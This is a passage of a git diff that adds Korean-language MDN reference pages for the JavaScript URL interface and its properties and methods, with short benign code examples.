+<p>{{Compat("api.URL.host")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/hostname/index.html b/files/ko/web/api/url/hostname/index.html
new file mode 100644
index 0000000000..c6238452e0
--- /dev/null
+++ b/files/ko/web/api/url/hostname/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.hostname
+slug: Web/API/URL/hostname
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/hostname
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의<strong> <code>hostname</code></strong> 속성은 URL의 {{glossary("domain name", "도메인 이름")}}을 담은 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>domain</em> = <em>url</em>.hostname
+<em>url.</em>hostname = <em>domain</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}},</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/hostname');
+console.log(url.hostname); // Logs: 'developer.mozilla.org'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-hostname', 'URL.hostname')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.hostname")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/href/index.html b/files/ko/web/api/url/href/index.html
new file mode 100644
index 0000000000..87e33d3353
--- /dev/null
+++ b/files/ko/web/api/url/href/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.href
+slug: Web/API/URL/href
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/href
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>href</code></strong> 속성은 전체 URL을 담은 {{domxref("USVString")}}입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const<em> urlString</em> = <em>url</em>.href
+<em>url</em>.href = <em>newUrlString</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href');
+console.log(url.href); // Logs: 'https://developer.mozilla.org/ko/docs/Web/API/URL/href'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-href', 'URL.href')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.href")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/index.html b/files/ko/web/api/url/index.html
new file mode 100644
index 0000000000..ac29f47f05
--- /dev/null
+++ b/files/ko/web/api/url/index.html
@@ -0,0 +1,143 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+ - API
+ - Interface
+ - Overview
+ - Reference
+ - URI
+ - URL
+ - URL API
+ - Web
+translation_of: Web/API/URL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL</code></strong> 인터페이스는 {{glossary("URL")}}을 분석, 생성, 정규화, 인코딩 할 때 사용하며, URL의 각 구성요소를 쉽게 읽고 쓸 수 있는 속성을 제공합니다.</span> <code>URL</code> 객체 생성은 생성자에 전체 URL 문자열, 또는 상대 URL과 기준 URL을 생성자에 전달해 진행합니다. 이렇게 생성한 URL 객체를 사용해 URL을 쉽게 바꾸거나 읽을 수 있습니다.</p>
+
+<p>브라우저가 아직 {{domxref("URL.URL", "URL()")}} 생성자를 지원하지 않을 땐 {{domxref("Window")}} 인터페이스의 <code>Window.URL</code> 속성으로 <code>URL</code> 객체에 접근할 수 있습니다. 개발에 사용하기 전, 프로젝트의 지원 대상 브라우저를 확인하고, 이런 절차를 추가해야 하는지 결정하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "new URL()")}}</dt>
+ <dd>주어진 절대 URL, 또는 상대 URL과 기준 URL 문자열을 사용해 생성한 <code>URL</code> 객체를 생성하고 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("URL.hash", "hash")}}</dt>
+ <dd><code>'#'</code>과 URL의 프래그먼트 식별자를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.host", "host")}}</dt>
+ <dd>URL의 도메인(호스트 이름), <code>':'</code>, 포트를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.hostname", "hostname")}}</dt>
+ <dd>URL의 도메인을 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.href", "href")}}</dt>
+ <dd>전체 URL을 반환하는 문자열화 속성입니다.</dd>
+ <dt>{{domxref("URL.origin", "origin")}} {{readonlyInline}}</dt>
+ <dd>URL의 {{glossary("origin", "출처")}}, 즉 스킴, 도메인, 포트를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.password", "password")}}</dt>
+ <dd>도메인 이름 이전에 지정된 비밀번호를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.pathname", "pathname")}}</dt>
+ <dd><code>'/'</code>와 URL의 경로를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.port", "port")}}</dt>
+ <dd>URL의 포트 번호를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.protocol", "protocol")}}</dt>
+ <dd>URL의 {{glossary("protocol", "프로토콜")}} 스킴을 담은 {{domxref("USVString")}}입니다. 마지막 <code>':'</code>을 포함합니다.</dd>
+ <dt>{{domxref("URL.search", "search")}}</dt>
+ <dd>URL의 매개변수 문자열을 나타내는 {{domxref("USVString")}}입니다. 어떤 매개변수라도 존재하는 경우 <code>'?'</code> 문자로 시작해, 모든 매개변수를 포함합니다.</dd>
+ <dt>{{domxref("URL.searchParams", "searchParams")}} {{readonlyInline}}</dt>
+ <dd><code>search</code> 속성의 매개변수 각각에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체입니다.</dd>
+ <dt>{{domxref("URL.username","username")}}</dt>
+ <dd>도메인 이름 이전에 지정된 사용자 이름을 담은 {{domxref("USVString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("URL.toString", "toString()")}}</dt>
+ <dd>전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일하나, <code>toString()</code>으로는 URL을 편집할 수 없습니다.</dd>
+ <dt>{{domxref("URL.toJSON", "toJSON()")}}</dt>
+ <dd>전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일한 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL", "createObjectURL()")}}</dt>
+ <dd>고유한 블롭 URL, 즉 <code>blob:</code> 을 스킴으로 하고, 브라우저 내의 객체를 가리키는 고유한 불투명 문자열을 그 뒤에 붙인 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}</dt>
+ <dd>이전에 {{domxref("URL.createObjectURL()")}}로 생성한 객체 URL을 취소합니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>생성자는 <code>url</code> 매개변수를 받으며, URL이 상대 URL인 경우 선택적으로 <code>base</code> 매개변수를 지정해 기준으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">const url = new URL('../cats', 'http://www.example.com/dogs');
+console.log(url.hostname); // "www.example.com"
+console.log(url.pathname); // "/cats"
+</pre>
+
+<p>URL 속성을 사용해 URL을 만들 수 있습니다.</p>
+
+<pre class="brush: js">url.hash = 'tabby';
+console.log(url.href); // "http://www.example.com/cats#tabby"
+</pre>
+
+<p>URL은 {{RFC(3986)}}의 규칙을 따라 인코딩 됩니다.</p>
+
+<pre class="brush: js">url.pathname = 'démonstration.html';
+console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
+</pre>
+
+<p>{{domxref("URLSearchParams")}} 인터페이스를 사용해 URL 쿼리 문자열을 생성하거나 조작할 수 있습니다.</p>
+
+<p>현재 URL의 검색 매개변수를 가져오려면 다음과 같은 코드를 사용하세요.</p>
+
+<pre class="brush: js">// https://some.site/?id=123
+const parsedUrl = new URL(window.location.href);
+console.log(parsedUrl.searchParams.get("id")); // "123"</pre>
+
+<p>{{domxref("URL.toString", "toString()")}} 메서드는 단순히 {{domxref("URL.href", "href")}} 속성의 값을 반환하는 것이므로, URL 정규화와 인코딩에 생성자를 직접 사용할 수 있습니다.</p>
+
+<pre class="brush: js">const response = await fetch(new URL('http://www.example.com/démonstration.html'));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Added the static methods <code>URL.createObjectURL()</code> and <code>URL.revokeObjectURL</code><code>()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#api', 'API')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition (implements <code>URLUtils</code>).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/URL_API">URL API</a></li>
+ <li>{{domxref("URLSearchParams")}}.</li>
+</ul>
diff --git a/files/ko/web/api/url/origin/index.html b/files/ko/web/api/url/origin/index.html
new file mode 100644
index 0000000000..f3817e0285
--- /dev/null
+++ b/files/ko/web/api/url/origin/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.origin
+slug: Web/API/URL/origin
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/origin
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary">{{domxref("URL")}} 인터페이스의 <strong><code>origin</code></strong> 읽기 전용 속성은 표현 중인 URL의 출처를 유니코드로 직렬화한 {{domxref("USVString")}}을 반환합니다.</span> 정확한 구조는 URL의 유형에 따라 다릅니다.</p>
+
+<ul>
+ <li><code>http</code> 또는 <code>https</code> URL은 스킴 뒤 <code>'://'</code>, 도메인, <code>':'</code>, 마지막으로 포트(명시적으로 지정한 경우)로 구성됩니다.</li>
+ <li><code>file:</code> URL은 브라우저마다 다릅니다.</li>
+ <li><code>blob:</code> URL은 <code>blob:</code> 뒤의 URL 출처를 반환합니다. 예를 들어, <code>"blob:https://mozilla.org"</code>인 경우 <code>"https://mozilla.org"</code>를 반환합니다.</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>originString</em> = <em>url</em>.origin
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL("blob:https://mozilla.org:443/")
+console.log(url.origin); // Logs 'https://mozilla.org'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-origin', 'URL.origin')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.origin")}}</p>
diff --git a/files/ko/web/api/url/password/index.html b/files/ko/web/api/url/password/index.html
new file mode 100644
index 0000000000..f944abf326
--- /dev/null
+++ b/files/ko/web/api/url/password/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.password
+slug: Web/API/URL/password
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/password
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의<strong> <code>password</code></strong> 속성은 도메인 이름 이전의 비밀번호를 포함한 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{domxref("URL.username", "username")}} 설정 전에 <code>password</code>를 먼저 지정하려 시도하면 조용히 실패합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>passwordString</em> = <em>url</em>.password
+<em>url</em>.password = <em>newPassword</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+console.log(url.password) // Logs "flabada"</pre>
+
+<h2 id="구문_2">구문</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-password', 'URL.password')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.password")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/pathname/index.html b/files/ko/web/api/url/pathname/index.html
new file mode 100644
index 0000000000..9f097eda83
--- /dev/null
+++ b/files/ko/web/api/url/pathname/index.html
@@ -0,0 +1,60 @@
+---
+title: URL.pathname
+slug: Web/API/URL/pathname
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/pathname
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>pathname</code></strong> 속성은 URL의 경로와 그 앞의 <code>/</code>로 이루어진 {{domxref("USVString")}}을 반환합니다. 경로가 없는 경우 빈 문자열을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>path</em> = <em>url</em>.pathname
+<em>url</em>.pathname = <em>newPath</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value');
+var result = url.pathname; // Returns:"/ko/docs/Web/API/URL/pathname"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-pathname', 'URL.pathname')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.pathname")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/port/index.html b/files/ko/web/api/url/port/index.html
new file mode 100644
index 0000000000..a461130387
--- /dev/null
+++ b/files/ko/web/api/url/port/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.port
+slug: Web/API/URL/port
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/port
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>port</code></strong> 속성은 URL의 포트 숫자를 담은 {{domxref("USVString")}}입니다. URL이 명시적인 포트 번호를 포함하고 있지 않으면 빈 문자열(<code>''</code>)입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>portNumber</em> = <em>url</em>.port
+<em>url</em>.port = <em>newPortNumber</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-string">https://mydomain.com:80/svn/Repos/</span></span></span></span>');
+console.log(url.port); // Logs '80'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-port', 'URL.port')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.port")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/protocol/index.html b/files/ko/web/api/url/protocol/index.html
new file mode 100644
index 0000000000..2d96b9eeec
--- /dev/null
+++ b/files/ko/web/api/url/protocol/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.protocol
+slug: Web/API/URL/protocol
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/protocol
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>protocol</code></strong> 속성은 URL의 프로토콜 스킴과 마지막 <code>':'</code>을 포함한 {{domxref("USVString")}}입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>protocol</em> = <em>url</em>.protocol
+<em>url</em>.protocol = <em>newProtocol</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+console.log(url.protocol); // Logs "https:"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-protocol', 'protocol')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.protocol")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/revokeobjecturl/index.html b/files/ko/web/api/url/revokeobjecturl/index.html
new file mode 100644
index 0000000000..7faa5e8bcc
--- /dev/null
+++ b/files/ko/web/api/url/revokeobjecturl/index.html
@@ -0,0 +1,68 @@
+---
+title: URL.revokeObjectURL()
+slug: Web/API/URL/revokeObjectURL
+tags:
+ - API
+ - Method
+ - URL
+ - URL API
+translation_of: Web/API/URL/revokeObjectURL
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL.revokeObjectURL()</code></strong> 정적 메서드는 이전에 {{domxref("URL.createObjectURL()") }}을 통해 생성한 객체 URL을 해제합니다.</span> 객체 URL을 더는 쓸 일이 없을 때 사용해서, 브라우저가 이제 해당 객체를 메모리에 들고 있지 않아도 된다고 알려주세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 기능은 {{domxref("Blob")}} 인터페이스의 생명 주기 문제와 잠재적인 메모리 누수 가능성으로 인해 <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker</a>에서 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">URL.revokeObjectURL(<em>objectURL</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>objectURL </code></dt>
+ <dd>{{domxref("URL.createObjectURL", "createObjectURL()") }}을 통해 생성한 객체 URL을 나타내는 {{domxref("DOMString")}}.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/File/Using_files_from_web_applications#예시_객체_URL을_사용하여_이미지_표시하기">객체 URL을 사용하여 이미지 표시하기</a>를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.revokeObjectURL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("URL.createObjectURL()")}}</li>
+</ul>
diff --git a/files/ko/web/api/url/search/index.html b/files/ko/web/api/url/search/index.html
new file mode 100644
index 0000000000..a67b8f44b4
--- /dev/null
+++ b/files/ko/web/api/url/search/index.html
@@ -0,0 +1,63 @@
+---
+title: URL.search
+slug: Web/API/URL/search
+tags:
+ - API
+ - Property
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/search
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>search</code></strong> 속성은 맨 앞의 <code>'?'</code>와 함께 URL의 쿼리 문자열, 즉 검색 매개변수를 나타내는 {{domxref("USVString")}}입니다.</p>
+
+<p>신형 브라우저에서는 {{domxref("URL.searchParams")}} 속성을 통해 간편한 쿼리 문자열 분석을 지원합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>searchParams</em> = <em>object</em>.search
+<em>url</em>.search = <em>newSearchParams</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123');
+console.log(url.search); // Logs "?q=123"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-search', 'URL.search')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.URL.search")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/searchparams/index.html b/files/ko/web/api/url/searchparams/index.html
new file mode 100644
index 0000000000..b80d80c4a6
--- /dev/null
+++ b/files/ko/web/api/url/searchparams/index.html
@@ -0,0 +1,56 @@
+---
+title: URL.searchParams
+slug: Web/API/URL/searchParams
+tags:
+ - API
+ - Property
+ - Read-only
+ - Reference
+ - URL
+ - URLSearchParams
+translation_of: Web/API/URL/searchParams
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>searchParams</code></strong> 읽기 전용 속성은 URL 내의 {{httpmethod("GET")}} 디코딩 된 쿼리 매개변수에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체를 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>urlSearchParams</em> = <em>url</em>.searchParams</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("URLSearchParams")}} 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>페이지의 URL을 <code>https://example.com/?name=Jonathan%20Smith&amp;age=18</code>로 가정했을 때, <code>name</code>과 <code>age</code> 매개변수는 다음과 같이 가져올 수 있습니다.</p>
+
+<pre class="brush: js">let params = (new URL(document.location)).searchParams;
+let name = params.get('name'); // is the string "Jonathan Smith".
+let age = parseInt(params.get('age')); // is the number 18</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.searchParams")}}</p>
diff --git a/files/ko/web/api/url/tojson/index.html b/files/ko/web/api/url/tojson/index.html
new file mode 100644
index 0000000000..f5fbf7a972
--- /dev/null
+++ b/files/ko/web/api/url/tojson/index.html
@@ -0,0 +1,52 @@
+---
+title: URL.toJSON()
+slug: Web/API/URL/toJSON
+tags:
+ - API
+ - Method
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/toJSON
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>toJSON()</code></strong> 메서드는 URL을 직렬화한 {{domxref("USVString")}}을 반환합니다. 그러나, 사실상 {{domxref("URL.toString", "toString()")}}과 같습니다..</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>href</em> = <em>url</em>.toJSON()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toJSON(); // should return the URL as a string</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}</td>
+ <td>{{Spec2('URL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.toJSON")}}</p>
diff --git a/files/ko/web/api/url/tostring/index.html b/files/ko/web/api/url/tostring/index.html
new file mode 100644
index 0000000000..6a24393f4f
--- /dev/null
+++ b/files/ko/web/api/url/tostring/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.toString()
+slug: Web/API/URL/toString
+tags:
+ - API
+ - Method
+ - Reference
+ - URL
+ - URL API
+translation_of: Web/API/URL/toString
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>URL.toString()</code></strong> 문자열화 메서드는 전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. 사실상 읽기 전용 {{domxref("URL.href")}}인 셈입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>href</em> = <em>url</em>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
